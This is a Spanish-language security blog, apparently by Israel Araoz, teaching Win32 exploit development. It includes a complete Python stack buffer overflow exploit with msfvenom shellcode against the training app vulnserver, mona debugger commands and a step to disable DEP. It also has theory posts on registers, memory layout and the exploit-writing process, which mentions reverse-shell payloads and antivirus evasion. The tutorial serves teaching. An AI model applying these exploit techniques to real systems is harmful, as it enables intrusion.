Gracias a WebminarLibres una iniciativa de mi amigo Juampa aka @UnD3sc0n0c1d0 el dia 8 de agosto de 2017 participe con una charla explicando el proceso de creación de un exploit de forma básica.
En el video se muestra paso a paso el uso de herramientas y el proceso para la creacion de un exploit, en una entrada anterior podes encontrar paso a paso tambien lo realizado en el video.
Con el transcurso del tiempo ire agregando mas videos y material , que podes encontrar en cualquier otro sitio, mi idea es explicar de la mejor manera y lo mas claro que se pueda
Saludos!
Webminar : Introducción a la explotación de Vulnerabilidades
By Israel Araoz
¡SIMPLE BOF WITH EIP VAINILLA!
Olvide detallar los requisitos
previos para replicar este ejercicio, gracias a @BatmanEsFriki me di cuenta que
es necesario, Antes de comenzar vamos a detallar cuales son los requisitos
técnicos que debemos de tomar para nuestro laboratorio de Exploiting.
- VMware® Workstation 12 Player
- Windows 8 (En este caso como es “Vainilla” , se debe deshabilitar DEP)
- Cmd como administrador -> bcdedit.exe /set nx AlwaysOff
- Immunity Debugguer
- Python 2.7 o 3.x
- Notepad ++
- Fuzzer (el de su elección, puede ser Sulley)
Pueden descargar la aplicación de:
https://github.com/stephenbradshaw/vulnserver
La aplicación crea un
socket tal cual servidor utilizando el puerto 9999, procedemos a crear un
script en Python para realizar una conexión (Disculpen si mi codificación es
mala, no soy programador a tiempo completo :P ).
Debemos utilizar una dirección que
se pueda ejecutar , es decir no debería contener algún carácter nulo o carácter
imprimible.
import socketimport structip = "127.0.0.1"port = 9999try:s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect((ip,port))data = s.recv(1024)print datas.send ("HELP\r")data = s.recv(1024)print datas.close()except:print "[*] Could not connect.[*]"
En la imagen podemos observar los
comandos que son implementados y que pueden ser utilizados para identificar
alguna vulnerabilidad en su implementación.
Comandos del Servidor Vulnerable |
Identificando el comando Vulnerable (Fuzzing)
Después de probar varios comandos el primero que identifique
fue TRUN ., como se puede observar en la siguiente imagen, debido a que no es una entrada netamente de Fuzzing no voy hacer enfasis en el proceso (simple script en python con todos los comandos identificados).
Fragmento de Código |
Este comando envía un parámetro
con 10 mil A generando el BOF sobre la aplicación, quiero aclarar como dice el
título “Vainilla”, no estamos saltando restricciones a nivel de O.S o a nivel
de la aplicación, más adelante veremos cómo Saltar DEP, ASLR entre otros.
Control de flujo de Ejecución - EIP |
Una vez identificara la
vulnerabilidad, procedemos a calcular el Offset a EIP, en Inmunity, utilizamos
a mona.py!, generamos una cadena de caracteres únicos de 2100 de longitud.
Comando : !mona
pattern_create 2100
En nuestro código de Python
remplazamos las A’s por la cadena y volvemos a enviar el comando con el
parámetro “malformado”.
6F43386F es el valor sobrescrito
en la dirección a la que apunta el registro EIP, ahora pasamos a calcular el
offset exacto para controlar EIP.
Comando : !mona findmsp
Comando : !mona pattern_offset 0x6F43386F
Buscamos hacer el famoso jmp esp
para luego ejecutar nuestra Shellcode, con unos cuantos nops de por medio.
Sé que existe una etapa donde
tenemos que eliminar caracteres especiales, para esta entrada no hablare,
prefiero dedicar una entrada completa a esta etapa. Generaremos la Shellcode con la
siguiente linea.
Esta será la estructura de
nuestro Exploit = junk + eip + nop_sled + buf + padding, podemos observar el código completo aqui :
import socketimport structip = "127.0.0.1"bof_size= 2100port = 9999junk = "A" * 2005eip = struct.pack('<L',0x625011af) #jmp esp | {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False#msfvenom -a x86 --platform windows -p windows/messagebox TEXT="BOF By @yaritu_ " -f python -b "\x00\x0a\x0d"buf = ""buf += "\xd9\xc3\xd9\x74\x24\xf4\x58\xbb\x3b\xc2\x95\xdc\x33"buf += "\xc9\xb1\x45\x31\x58\x17\x03\x58\x17\x83\xd3\x3e\x77"buf += "\x29\xfa\x54\xe3\x0b\x88\x8e\xe0\x9d\xa2\x7d\x7f\xef"buf += "\x8b\xe6\x0b\x7e\x3b\x6c\x7d\x8d\xb0\x04\x9e\x06\x80"buf += "\xe0\x15\x66\x2c\x7a\x1f\xaf\x63\x64\x15\x3c\x22\x95"buf += "\x04\x3d\x35\xf5\x2d\xae\x91\xd2\xba\x6a\xe5\x91\xe9"buf += "\x5c\x6d\xa7\xfb\x16\xc7\xbf\x70\x72\xf7\xbe\x6d\x60"buf += "\xc3\x89\xfa\x53\xa0\x0b\x13\xaa\x49\x3a\x2b\x31\x19"buf += "\xb9\x6b\xbe\x66\x03\xa4\x32\x69\x44\xd0\xb9\x52\x36"buf += "\x03\x6a\xd1\x27\xc0\x30\x3d\xa9\x3c\xa2\xb6\xa5\x89"buf += "\xa0\x92\xa9\x0c\x5c\xa9\xd6\x85\xa3\x45\x5f\xdd\x87"buf += "\x89\x01\x1d\x75\xb9\xe8\x75\xf3\x5c\x63\xb7\x6c\x10"buf += "\x3a\x36\x81\x7e\x2b\xd9\xa6\x81\x54\x6f\x1d\x79\x10"buf += "\x0e\x46\x63\x15\x68\x6a\x47\x88\x9e\x1d\x78\xd3\xa0"buf += "\xab\xc3\x24\x37\xc0\xa7\x14\x86\x70\x04\x67\x26\xe5"buf += "\x02\xf2\x45\x80\xa0\xcc\x72\xc2\x18\x09\x8f\x5a\x46"buf += "\x07\x70\x09\x82\x21\x4c\xe2\x31\x99\xf3\x4e\xf9\x5d"buf += "\xef\x74\x53\x8a\x4f\x8a\xac\xb5\x18\x1b\x2a\x12\xf9"buf += "\x8b\xab\xc5\x9c\x09\x43\x47\x3a\xfd\xe0\x66\x1f\x89"buf += "\x5a\xad\x95\x03\x81\xc5\x89\x4b\x65\x36\xa2\x02\x11"buf += "\x43\x6d\xbd\x99\xd2\xf0\x4f\x71\x67\x8a\x8f\xa1\x0f"buf += "\x2e\x9f\xe7\xef\x9f\xd6\x6f\xa3\xfb\xf9\xe6\xdd\x35"buf += "\x28\xaa\x4e\x67\x9e\xb5\xa1\xb6\xde\x19\xbd\xec\xd6"nop_sled = "\x90" * 10padding = "C" * (bof_size - (len(junk)+len(eip)+len(nop_sled)+len(buf)))try:s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect((ip,port))data = s.recv(1024)print datas.send ("TRUN . "+ junk + eip + nop_sled + buf + padding + " \r")data = s.recv(1024)print datas.close()except:print "[*] Could not connect.[*]"
Desarrollo de Exploit Win32 : Simple BOF , Vainilla EIP
By Israel Araoz
En esta segunda entrada vamos hablar lo ultimo de la teoria!, aunque faltan algunas cosas mas por ver, espero que le sirva, para los que se perdieron el primer articulo, se los dejo aqui:
Registros
Los procesadores de la arquitectura x86 disponen de un banco de registros, los cuales son utilizados para las diferentes operaciones realizadas por la Unidad Central de procesamiento (CPU), existen registros de propósito general y registros de propósito específicos. Por ahora nos centraremos en los registros de propósito general, como se puede observar en la siguiente imagen:
Registros de propósito general |
Registros - Immunity Debugger |
Puntero a la siguiente instrucción, registro solo lectura (Este es con el vamos a interactuar mas).
Aplicación en memoria
Cuando una aplicación es ejecutada, el propio ejecutable y todas sus librerías (DLL) son cargadas en la memoria. Cada aplicación tiene asignada tiene 4GB (32 bit, hagan cálculos ;)) de memoria virtual, cuando la aplicación es ejecutada el “gestor de memoria” automáticamente mapea direcciones de memoria virtual en direcciones de la memoria física. La gestión de la memoria es responsabilidad directamente del sistema operativo.
La memoria es dividida entre “User
mode” y “kernel mode”. “User mode” es el área de memoria donde una aplicación
es cargada y ejecutada en memoria, por otro lado el “kernel mode” es la región
donde los componentes del kernel son cargados y ejecutados, siguiendo este
modelo, una aplicación no podría directamente acceder a un región de memoria
perteneciente al “Kernel mode”.
Aplicación en Memoria - Visión General |
Endianess
Es la forma de representar la información mayor a 1 byte, “Little Endian” significa que el byte de menor peso se almacena en la dirección más baja de la memoria y el byte de mayor peso en la más alta.
Formato Little Endian |
Por otro lado en “Big Endian” el
byte de mayor peso se almacena en la dirección más baja de memoria y el byte de
menor peso en la dirección más alta.
Formato Big Endian |
Python |
Cada aplicación es cargada en 3
diferentes áreas de memoria: Segmento Stack
(Pila), segmento Data (Datos) y el segmento (Code, Text), El
segmento de la pila almacena variables locales y llamadas a procedimientos, el
segmento de datos almacena variables estáticas y dinámicas, el segmento de
texto almacena las instrucciones del programa.
El segmento de la pila y datos
son privados para cada una de las aplicaciones, es decir entre diferentes
aplicaciones no pueden acceder a estos segmentos, el segmento de texto es solo
de lectura y puede ser accedido por diferentes aplicaciones.
Mapa de Memoria Windows |
Asignación de memoria: (Pila / Stack)
La pila (Stack) es un área reservada en memoria virtual usada por la aplicación, la pila trabaja con una estructura (LIFO, Last In First Out), las operaciones más comunes son Pop (sacar) y push (agregar) datos a la pila.
Cuando se hace push sobre la pila la cima actual de la
pila (ESP) decrementa 4 bytes antes del recientemente ítem agregado. En tal
sentido cuando se hace un Pop de un ítem se incrementa 4 bytes.
Un “Stack Frame” es una estructura de datos creada durante la llamada a
una función, el objetivo es de mantener los parámetros de la función principal
y pasar argumentos a la función.
Se puede acceder a la ubicación actual
del puntero de la pila, accediendo ESP (apuntador de la pila), se puede acceder
a la base actual de la pila utilizando el registro (EBP), de igual forma se
puede acceder a la ejecución (actual) accediendo al registro EIP.
Asignacion de memoria |
Saludos!
Desarrollo de Exploit Win32 : Registros, Memory layout,Stack, Endianess
By Israel Araoz
No llevo mucho tiempo en el mundo
del Exploiting pero quiero compartir con ustedes lo que he aprendido en cursos,
libros y recursos en la web, además de practicar es necesario llenarse de
paciencia.
Con esta entrada daré inicio a
una serie de artículos relacionados al mundo del Exploiting, si crees que algo
de lo que escribe esta errado, ¡por favor deja un comentario!
Proceso de desarrollo de un Exploit
Es muy importante seguir las
fases en un orden lógico y establecido, esto garantizará que nuestro exploit funcione
de manera correcta o en todo caso evitar invertir tiempo innecesario en el
desarrollo de exploit. No importa las herramientas, solo la metodología.
Proceso de desarollo de exploit |
Fuzzing
Esta fase es muy importante, aquí
es donde inicia todo el proceso, en esta fase generamos información de manera
aleatoria que posteriormente es enviada por diferentes medios (Protocolos de
red, Archivos mal formados, de forma local) a la aplicación en cuestión para
ver cómo reacciona a datos no esperados.
Controling EIP
Una vez identificada o desencadena
la vulnerabilidad es momento de conseguir escribir la dirección de memoria que
esta almacenada en el registro EIP (Registro solo lectura, ¡no sobre-escribimos
EIP!, ¡por favor!) muchas veces y dependiendo de la técnica o método de
explotación lo conseguiremos, más allá de solo trabajar con el registro EIP, en
esta fase debemos controlar el flujo de ejecución de la aplicación vulnerable.
Existen dos formas de realizar esto, una atravesó de un análisis binario y la
otra y más conocida es enviando una cadena única de caracteres, esta última será
la que utilizaremos.
Calculating offset
Una vez controlado el flujo de ejecución
de la aplicación vulnerable, necesitamos calcular la cantidad de datos que
debemos de generar mediante una cadena única de caracteres para determinar el
espacio que tenemos para nuestro payload, por lo general un reverse Shell payload
estándar debería estar entre los 300 a 400 bytes, con esto verifica la
disponibilidad de espacio para nuestro payload
Identifying bad Characters
Dependiendo de la aplicación y /o
la vulnerabilidad existen caracteres especiales que pueden llegar a interrumpir
la ejecución de la aplicación vulnerable, los cuales no deberían encontrarse en
direcciones de memoria o nuestra Shellcode.
Generate Shellcode
Aquí es donde generamos nuestra Shellcode,
por lo general utlizamos herramientas de terceros para evitar como msfvenom (https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom)
, existen diferentes métodos y formas de codificar nuestra Shellcode para no
ser detectada por los AV.
Test exploit!
Esta fase es donde ejecutamos
nuestro exploit construido, seguramente con un sistema operativo “Vainilla”
funcionará perfectamente, en un mundo real debemos evadir diferentes contramedidas implementadas
a nivel de Sistema Operativo o las que son agregadas en tiempo de compilación de
la aplicación vulnerable, alguna de ellas son ASLR,DEP, StackCookie, SafeSEH, SeHOP.
Por cada fase identificada escribiere una entrada
en mi blog, hasta llegar a la creación de un exploit paso a paso.
Si tenes alguna duda podes mandarme un DM via twitter y con gusto te ayudo con lo que pueda @yaritu_
Saludos!
Desarrollo de Exploit Win32 : Proceso de Desarollo de un Exploit
By Israel Araoz
Llevo ya casi 9 años desde que me
inicie como un aficionado a escribir temas de seguridad (de la información | informática)
en 2 fallidos intentos como bloguero, con el pasar del tiempo sin duda alguna
el interés por esta área creció exponencialmente.
Hoy más que nunca tengo la
certeza que en este nuevo blog escribiré artículos técnicos y no técnicos de
seguridad, espero que los ¡artículos sean de gran utilidad!, como siempre todas
las críticas son bienvenidas. Hare algunos “análisis” sobre libros de seguridad
de mi pequeña biblioteca.
Dentro de las temáticas de
seguridad que se encontrará en este blog son las siguientes:
- Exploiting (Linux / Windows)
- Reversing (Linux / Windows)
- Malware Analysis
- Digital Forensics
- Ethical Hacking / Penetration testing
- Eventos de Seguridad Nacionales e Internacionales
- Entrevistas a especialistas en seguridad
No solo será cerrado a estos
temas, cuando la ocasión lo amerite hablaremos de gestión de riesgos, normas
ISO 27001 / ISO 22301 (desde una visión con saco y corbata).
Si tenes algún tema en particular o dudas podes comunicarte mediante comentario o bien vía twitter (@yaritu_).
Escribiendo desde el 2008
By Israel Araoz
Suscribirse a:
Entradas (Atom)